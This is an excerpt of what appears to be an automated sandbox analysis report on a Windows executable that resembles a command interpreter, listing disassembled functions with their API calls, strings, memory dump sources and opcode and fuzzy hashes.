                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
                                                    • String ID:
                                                    • API String ID: 1356649289-0
                                                    • Opcode ID: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
                                                    • Instruction ID: 876a813b2cc55eb2d460c2aa9f67c037e2d8b5c1e73126ba73a3941c575083ed
                                                    • Opcode Fuzzy Hash: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
                                                    • Instruction Fuzzy Hash: 82918236A086429BEB549FA9E400179BBA1FB88B84F445135DB4ECB7B1DF3CE454CB40
                                                    Function 00007FF6BF3F86FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: LocalTime$ErrorLast_get_osfhandle
                                                    • String ID: %s$/-.$:
                                                    • API String ID: 1644023181-879152773
                                                    • Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
                                                    • Instruction ID: 414cea775c80cbbe1999c4b984ee9baa87148615f7eb544b5613ba53cbceb726
                                                    • Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
                                                    • Instruction Fuzzy Hash: 7F91B222B1964291FF989BA8D4402BE67A0FF94B84F444035DB4ECA6F5EF3CE945C780
                                                    Function 00007FF6BF3F627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3F7251), ref: 00007FF6BF3F628E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ObjectSingleWait
                                                    • String ID: wil
                                                    • API String ID: 24740636-1589926490
                                                    • Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
                                                    • Instruction ID: 24785a3b5638237f5f1bebe4a4cf8de95e1c95cb1eed6f22234c7596ab25f890
                                                    • Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
                                                    • Instruction Fuzzy Hash: 07415331B0C54283F7A04BA9E40027A7BA1EF95791F649132DB0DCA6F5DF7DE8858741
                                                    Function 00007FF6BF3FCDC0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
                                                    • String ID: $Application$System
                                                    • API String ID: 3377411628-1881496484
                                                    • Opcode ID: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
                                                    • Instruction ID: cf62525acd9b1c6eceb2d24c4bc4f7964e7954aa5e45cb51795cf6d27036d632
                                                    • Opcode Fuzzy Hash: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
                                                    • Instruction Fuzzy Hash: 8B418A32B08B429AE7208BA8E4003ED7BB5FB99748F445135DA4E87B69EF3CD145C740
                                                    Function 00007FF6BF3D14E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
                                                    • String ID: :$\
                                                    • API String ID: 3961617410-1166558509
                                                    • Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
                                                    • Instruction ID: fdf6d35b77baea019f32b51ed4d105eaea1ed9a2034781ea3e769a9b0c836a83
                                                    • Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
                                                    • Instruction Fuzzy Hash: 1B217F36A08642C7F7605BB8A444079BBA2EF89B95B448631EB1FC77B0DF7CE8458740
                                                    Function 00007FF6BF3D7AA0 Relevance: 15.2, APIs: 10, Instructions: 221COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CreateDirectoryDriveFullNamePathTypememset
                                                    • String ID:
                                                    • API String ID: 1397130798-0
                                                    • Opcode ID: 53223a99652f8e81a4eeb04428d23ca491e991d1bc8129b69f2a7ec7696704bc
                                                    • Instruction ID: 1f8a230579d5cf1daa5b5a008a7f41f4681ddb0f7be3a4bfd758564a578205ec
                                                    • Opcode Fuzzy Hash: 53223a99652f8e81a4eeb04428d23ca491e991d1bc8129b69f2a7ec7696704bc
                                                    • Instruction Fuzzy Hash: 2591C336B19B82C6EF658B54D8402B9B3A1FF88B84F448035DB4E8B7A4DF3CE9418350
                                                    Function 00007FF6BF3E258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06D6
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06F0
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E074D
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E0762
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3E25CA
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3E25E8
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3E260F
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3E2636
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3E2650
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmp$Heap$AllocProcess
                                                    • String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
                                                    • API String ID: 3407644289-1668778490
                                                    • Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
                                                    • Instruction ID: 6ec1285e8ba2c48f461850e3775a8e7374bf7007cd87eafcb773146843e2ef34
                                                    • Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
                                                    • Instruction Fuzzy Hash: D3318031E2C50285F7106FB9E8512796BA4EF88B40F458431DB4ECA6F6CEBCE840C7A0
                                                    Function 00007FF6BF400C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
                                                    • String ID: &()[]{}^=;!%'+,`~
                                                    • API String ID: 2516562204-381716982
                                                    • Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
                                                    • Instruction ID: 52f96cbbf71acd755124feb3780f0468b2891ad2907adaa4fc0bf179ec8a671c
                                                    • Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
                                                    • Instruction Fuzzy Hash: 2FC1D032A1879186EB508FA9E8502BE77A0FB94B94F445135EF8D83BA9DF7CE450D700
                                                    Function 00007FF6BF3E7E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • iswspace.MSVCRT ref: 00007FF6BF3E7EEE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heapiswspace$AllocProcess
                                                    • String ID: A
                                                    • API String ID: 3731854180-3554254475
                                                    • Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
                                                    • Instruction ID: 981172bad1c233d97a426820446a18665912cd3c41ef9b83634bab36a589a533
                                                    • Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
                                                    • Instruction Fuzzy Hash: 97A17B7191969286E7609BADA4402B9BBA0FF49790F008035DB8DCB7B5EF3CE851CB50
                                                    Function 00007FF6BF3FA39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: MemoryProcessRead$AddressLibraryLoadProc
                                                    • String ID: NTDLL.DLL$NtQueryInformationProcess
                                                    • API String ID: 1580871199-2613899276
                                                    • Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
                                                    • Instruction ID: f6e5c7a7de180344dbfe3b1d77691d9c41f35057e42b9cf6dd5653ac2fef314a
                                                    • Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
                                                    • Instruction Fuzzy Hash: 7151A272A18B8286EB508BA9E800679B7E4FF89B84F445135DB9E87B65DF3CD001C744
                                                    Function 00007FF6BF3D7420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
                                                    • String ID: con
                                                    • API String ID: 689241570-4257191772
                                                    • Opcode ID: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
                                                    • Instruction ID: e42b6288c85753791acb76fa08f21d094b0cf9280825edbeac9c04c685691464
                                                    • Opcode Fuzzy Hash: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
                                                    • Instruction Fuzzy Hash: B241B336A0864586E2508F69D44437DBBA1FB89BA4F548334DB2D873E1CF7DD8498780
                                                    Function 00007FF6BF3FA58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
                                                    • String ID: PE
                                                    • API String ID: 2941894976-4258593460
                                                    • Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
                                                    • Instruction ID: a8764ff180ae03d9e3d58e7c323cd3fcd8b8bad29be7915afc15b3f360f42302
                                                    • Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
                                                    • Instruction Fuzzy Hash: 5241963260878187EB609B59E410679FBA0FB89B90F448230EF5D87BA5DF7CE455CB40
                                                    Function 00007FF6BF3E0010 Relevance: 13.7, APIs: 9, Instructions: 163fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF6BF3F849D,?,?,?,00007FF6BF3FF0C7), ref: 00007FF6BF3E0045
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF6BF3FF0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3E0071
                                                    • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E0092
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3E00A7
                                                    • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E0148
                                                    • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E0181
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$LockPointerShared$AcquireByteCharMultiReadReleaseWide
                                                    • String ID:
                                                    • API String ID: 734197835-0
                                                    • Opcode ID: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
                                                    • Instruction ID: 38d52880f02048b7c232a895b49d105a611baa7ac9760bbb5d9936c69b0a2658
                                                    • Opcode Fuzzy Hash: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
                                                    • Instruction Fuzzy Hash: 7061B076E2869286E7208BADA8003397BA1FF45B44F448131DB8E8B7A5DF7CA855C750
                                                    Function 00007FF6BF3F9B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Enum$Openwcsrchr
                                                    • String ID: %s=%s$.$\Shell\Open\Command
                                                    • API String ID: 3402383852-1459555574
                                                    • Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
                                                    • Instruction ID: 131fa97d44203a767b42368de4db031f6982f3769393859db19ab926e33e99a9
                                                    • Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
                                                    • Instruction Fuzzy Hash: 2CA1D661A0A74282EE909BDDD8702B963A0FF94B90F944531DB4E8B7E5DF7CE945C380
                                                    Function 00007FF6BF3E7610 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 228COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$wcscmp
                                                    • String ID: %s
                                                    • API String ID: 243296809-3043279178
                                                    • Opcode ID: b0ad3edef7fc64e03d81687a8a254aeebb6f4c69458638a3e2c38bf1209308ef
                                                    • Instruction ID: 153b2529aeca4e7dd0c8c6e0c60edce3c2b2c0384b4e45010ce15a2ffeeb22df
                                                    • Opcode Fuzzy Hash: b0ad3edef7fc64e03d81687a8a254aeebb6f4c69458638a3e2c38bf1209308ef
                                                    • Instruction Fuzzy Hash: CEA18A32B1968696EB65CBA9D8403F923A0FF48748F104035DF5E8B6A5EF3CEA55C350
                                                    Function 00007FF6BF3D1F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
